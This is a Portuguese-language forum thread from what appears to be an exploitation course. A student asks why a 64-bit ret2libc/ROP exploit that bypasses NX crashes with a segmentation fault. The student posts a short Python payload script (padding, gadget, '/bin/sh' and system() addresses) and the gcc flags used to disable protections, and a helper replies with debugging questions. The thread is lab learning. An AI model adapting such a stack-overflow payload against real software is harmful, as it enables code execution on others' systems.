Jump to content
Sign in to follow this  
Willm

Dúvida sobre o CEB - Aula 14

Recommended Posts

Eu tô aqui porque não consegui fazer bypass do NX na arquitetura de 64 bits.

 

Capturar.thumb.PNG.5d51518d8277b4d3f5ce8d350d502671.PNG

Como é mostrado na imagem eu consegui colocar os gadgets , /bin/sh e o endereço da system nas stack, mas o programa fica retornando Segmentation Fault e fica parado na instrução que é mostrada na imagem seguinte. O eu posso fazer?

 

Capturar2.thumb.PNG.b2ad38c9093a436e8fa35f87aaf5ebb9.PNG

 

Obs: Eu desabilitei o ASLR e todas as proteções do binário e também consegui fazer o bypass do NX em arquitetura de 32 bits

Share this post


Link to post
Share on other sites
import struct

buf = ''
buf += 'A' * 88                                 #junk
buf += struct.pack('<Q', 0x0000000000400583)    #gadget
buf += struct.pack('<Q', 0x7ffff7b97e9a)        #bin_sh
buf += struct.pack('<Q', 0x7ffff7a33440)        #system

print buf

Exploit usado

Share this post


Link to post
Share on other sites

Opa amigo, tudo bem?

Vamos lá aos passos iniciais desta analise.

1 - Como vc compilou esse binário?
2 - Realmente setou o ASLR para 0 ? Rode ldd ./binario e veja se o endereço da libc esta sendo randomizado 
3 - O que usou para chegar no endereço da system() ?
4 -  Testou fora do GDB?

 

Após validarmos isso, vamos para os próximos passos.

Abraços 

Share this post


Link to post
Share on other sites
3 horas atrás, masterek disse:

Opa amigo, tudo bem?

Vamos lá aos passos iniciais desta analise.

1 - Como vc compilou esse binário?
2 - Realmente setou o ASLR para 0 ? Rode ldd ./binario e veja se o endereço da libc esta sendo randomizado 
3 - O que usou para chegar no endereço da system() ?
4 -  Testou fora do GDB?

 

Após validarmos isso, vamos para os próximos passos.

Abraços 

1 - Compilei assim

gcc prog.c -o prog -fno-stack-protector -no-pie -w

Capturar3.thumb.PNG.5ae5827e8f57f70c830f6769b0b2f8d4.PNG

2 - O endereço da system não parece ser randômico, porque o gdb sempre identifica o endereço quando é reiniciado. E o comando que eu uso para desabilitar o ASLR é esse aí:

Capturar4.thumb.PNG.e741288e64b8456b5bc953866a555d69.PNG

3 - Eu dei um break na main e rodei o binário para a libc ser carregada nele e depois executei o comando "p system" e achei o endereço da função system

Capturar5.thumb.PNG.98c474f00d690edda7068562f58c560d.PNG

4 - Sim, deu Segmentation Fault

Capturar6.thumb.PNG.89bb0b6cc2a87d8a6e0759a44b8ac52c.PNG

Share this post


Link to post
Share on other sites

Lembrando que eu estou na versão mais recente do ubuntu e do gcc, poderia ser isso?

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...